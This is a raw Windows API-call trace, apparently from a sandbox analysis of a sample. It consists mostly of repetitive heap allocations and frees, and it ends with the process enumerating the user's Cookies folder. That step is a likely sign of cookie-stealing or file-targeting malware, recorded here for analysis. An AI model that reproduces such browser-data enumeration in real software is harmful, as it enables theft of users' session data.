RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.928] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.933] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.933] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0112.933] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.933] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.933] PathFindFileNameW (pszPath="") returned="" [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0112.933] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd60 [0112.933] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.933] 